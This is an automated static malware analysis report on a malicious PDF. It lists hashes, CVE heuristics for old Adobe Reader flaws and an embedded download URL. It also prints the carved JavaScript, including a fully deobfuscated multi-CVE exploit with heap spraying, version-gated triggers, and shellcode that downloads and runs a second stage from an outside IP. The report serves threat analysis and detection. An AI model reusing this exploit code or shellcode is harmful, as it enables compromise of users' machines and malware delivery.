Malicious PDF — malware analysis report

Static analysis result for SHA-256 6e9630c1841430fe…

MALICIOUS

PDF

11.8 KB
MD5: ff89c202806b666f5cd25685a1dede54 SHA-1: 1ab6b7fcf8bbf5be76ea2a6d8c94f59731d3602d SHA-256: 6e9630c1841430fe53e6d4ccce1f8ca54d942b39d8178efa3e43060d05393d0a
570 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file exploits several known Adobe Reader vulnerabilities through embedded JavaScript. The JavaScript code, after deobfuscation, contains a URL that is used to download a second-stage payload. The ClamAV detection 'Js.Exploit.HTML-28' and the ML classifier further support the malicious nature of this file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Exploit.HTML-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Exploit.HTML-28
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://78.111.51.123/w.php?f=51&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
9f761c67937ab456ae2aa0c488c6af9e6f26fdd1c6e84a0dc4e869db673c8ada
pdf-javascript-stream PDF /JS object 76 at offset 0x2C2 11121 bytes
Detection
ClamAV: Js.Exploit.HTML-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
x='e';
arr='64@59@1@70@1@34@9@34@67@67@11@6@45@69@10@34@73@0@23@22@42@42@73@0@59@39@70@37@73@0@23@36@59@39@73@0@43@36@70@37@73@0@70@47@22@37@73@0@22@22@36@59@73@0@42@37@39@7@73@0@37@7@23@11@73@0@23@11@22@7@73@0@7@39@37@7@73@0@43@7@23@11@73@0@36@42@9@39@73@0@43@42@23@11@73@0@22@22@7@23@73@0@42@42@4@11@73@0@36@70@23@11@73@0@7@22@22@39@73@0@22@22@43@37@73@0@23@9@51@39@73@0@9@36@70@70@73@0@59@59@9@7@73@0@11@23@59@59@73@0@37@7@23@11@73@0@39@22@22@7@73@0@22@47@37@42@73@0@43@36@7@42@73@0@23@43@59@11@73@0@51@37@22@37@73@0@70@37@23@36@73@0@36@9@43@36@73@0@70@11@70@47@73@0@36@9@37@39@73@0@23@11@36@42@73@0@22@39@43@36@73@0@43@37@23@11@73@0@43@23@22@36@73@0@59@36@7@22@73@0@23@11@36@42@73@0@51@7@43@42@73@0@59@36@7@22@73@0@39@47@22@22@73@0@37@9@37@47@73@0@24@4@59@39@73@0@39@36@7@22@73@0@4@11@22@22@73@0@11@70@7@59@73@0@22@23@9@7@73@0@43@37@59@51@73@0@39@9@7@23@73@0@7@4@39@11@73@0@4@24@7@22@73@0@70@11@37@7@73@0@22@11@59@9@73@0@43@36@9@59@73@0@36@70@70@42@73@0@36@70@23@11@73@0@7@22@51@37@73@0@42@42@4@4@73@0@7@39@23@11@73@0@23@4@37@11@73@0@70@39@37@42@73@0@36@37@59@59@73@0@7@39@51@37@73@0@4@23@23@11@73@0@4@4@7@22@73@0@7@37@23@11@73@0@7@22@23@11@73@0@24@11@39@36@73@0@36@47@36@70@73@0@70@11@39@22@73@0@24@4@36@22@73@0@42@23@23@11@73@0@23@7@51@7@73@0@7@39@43@4@73@0@43@37@22@22@73@0@47@42@7@22@73@0@59@22@70@11@73@0@42@23@23@11@73@0@23@11@7@23@73@0@42@24@59@43@73@0@36@47@7@36@73@0@47@23@70@23@73@0@59@59@59@59@73@0@70@51@59@59@73@0@70@23@59@47@73@0@7@7@7@7@73@0@7@7@7@7@73@0@36@7@36@23@73@0@37@7@42@24@73@0@59@59@42@23@73@0@7@7@7@7@73@0@36@7@7@7@73@0@39@7@23@22@73@0@36@7@9@47@73@0@23@11@36@36@73@0@23@11@70@39@73@0@9@7@36@70@73@0@39@22@23@22@73@0@59@59@7@36@73@0@42@23@70@22@73@0@42@70@42@59@73@0@7@7@7@7@73@0@43@36@42@23@73@0@42@39@43@51@73@0@36@37@42@4@73@0@9@42@59@59@73@0@39@37@23@22@73@0@23@11@7@23@73@0@70@23@70@23@73@0@59@59@42@9@73@0@59@59@59@59@73@0@7@51@70@11@73@0@43@51@70@11@73@0@70@39@23@9@73@0@7@9@7@37@73@0@7@7@7@7@73@0@36@39@23@4@73@0@7@39@51@37@73@0@7@37@39@43@73@0@43@51@51@37@73@0@42@43@42@36@73@0@39@43@43@22@73@0@51@37@37@37@73@0@43@42@7@37@73@0@22@22@43@51@73@0@39@43@22@51@73@0@51@37@37@37@73@0@51@7@7@23@73@0@43@22@51@4@73@0@36@22@51@7@73@0@59@23@42@23@73@0@7@7@7@7@73@0@59@59@7@7@73@0@7@39@36@42@73@0@70@23@23@11@73@0@39@47@22@22@73@0@39@43@36@9@73@0@9@4@37@37@73@0@43@43@7@7@73@0@42@51@43@7@73@0@39@43@43@37@73@0@9@4@37@37@73@0@51@70@7@36@73@0@42@39@42@37@73@0@39@42@42@39@73@0@9@4@37@37@73@0@7@7@7@47@73@0@23@24@36@47@73@0@7@37@39@9@73@0@23@23@22@7@73@0@9@4@37@37@73@0@37@9@7@37@73@0@42@24@36@9@73@0@42@24@7@7@73@0@36@22@7@7@73@0@42@24@36@43@73@0@59@59@7@7@73@0@9@37@36@42@73@0@39@7@23@36@73@0@9@42@43@36@73@0@7@7@42@24@73@0@59@59@36@22@73@0@7@37@36@42@73@0@7@7@42@24@73@0@70@11@23@22@73@0@36@22@7@39@73@0@36@42@59@59@73@0@23@22@7@37@73@0@7@39@39@22@73@0@7@51@70@11@73@0@9@22@70@11@73@0@23@7@37@43@73@0@7@7@22@59@73@0@59@24@43@36@73@0@23@7@37@43@73@0@7@7@22@59@73@0@39@37@43@36@73@0@7@7@42@24@73@0@59@70@42@24@73@0@36@42@59@59@73@0@70@23@7@23@73@0@59@70@47@39@73@0@59@59@59@59@73@0@37@70@23@70@73@0@70@39@7@70@73@0@59@70@47@23@73@0@7@70@23@24@73@0@42@59@23@47@73@0@11@4@7@9@73@0@39@24@22@22@73@0@36@11@23@24@73@0@39@42@9@11@73@0@43@47@37@42@73@0@9@24@22@42@73@0@43@7@51@59@73@0@43@37@42@23@73@0@43@7@43@37@73@0@51@59@22@24@73@0@22@43@51@59@73@0@51@70@22@23@73@0@22@9@22@9@73@0@51@70@22@9@73@0@22@9@22@36@73@0@22@9@51@70@73@0@22@22@22@51@73@0@43@43@51@59@73@0@43@7@51@70@73@0@43@7@42@23@73@0@42@42@22@59@73@0@22@36@22@4@73@0@51@42@22@9@73@0@22@4@42@36@73@0@7@7@22@22@73@0@7@7@7@7@34@46@59@0@62@39@38@64@71@62@75@70@2@21@31@1@31@24@54@40@27@67@44@25@28@64@52@70@1@31@24@58@52@70@62@69@38@28@68@51@13@40@27@67@44@31@24@35@10@31@24@46@12@31@24@10@31@24@58@45@0@11@45@38@31@64@62@69@1@7@54@40@27@26@51@67@46@31@70@38@0@31@62@75@31@24@46@12@75@59@0@62@39@38@64@71@62@75@11@48@1@67@44@21@24@31@75@4@5@69@10@62@70@25@75@60@31@31@24@27@1@67@46@21@24@31@75@21@25@10@7@48@7@39@7@39@7@39@7@39@46@21@24@31@75@24@4@4@31@10@7@48@37@7@7@7@7@7@46@21@24@31@75@3@24@27@52@71@24@4@10@0@62@70@45@39@24@3@70@1@11@6@45@69@67@46@21@24@31@75@45@39@66@52@70@62@10@3@24@27@52@71@24@4@58@52@70@62
... (truncated)
split_char_table_stage_000.js
9d6a5c8d699453719d72f49ca63c29dacf6e6d8b30424f96dfe97e2f508cb53a
deobfuscated-js split character-table join decoded JavaScript at offset 0x2D1 3858 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u372f%u2e38%u3131%u2e31%u3135%u312e%u3332%u772f%u702e%u7068%u663f%u353d%u2631%u3d65%u0033%u0000";function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}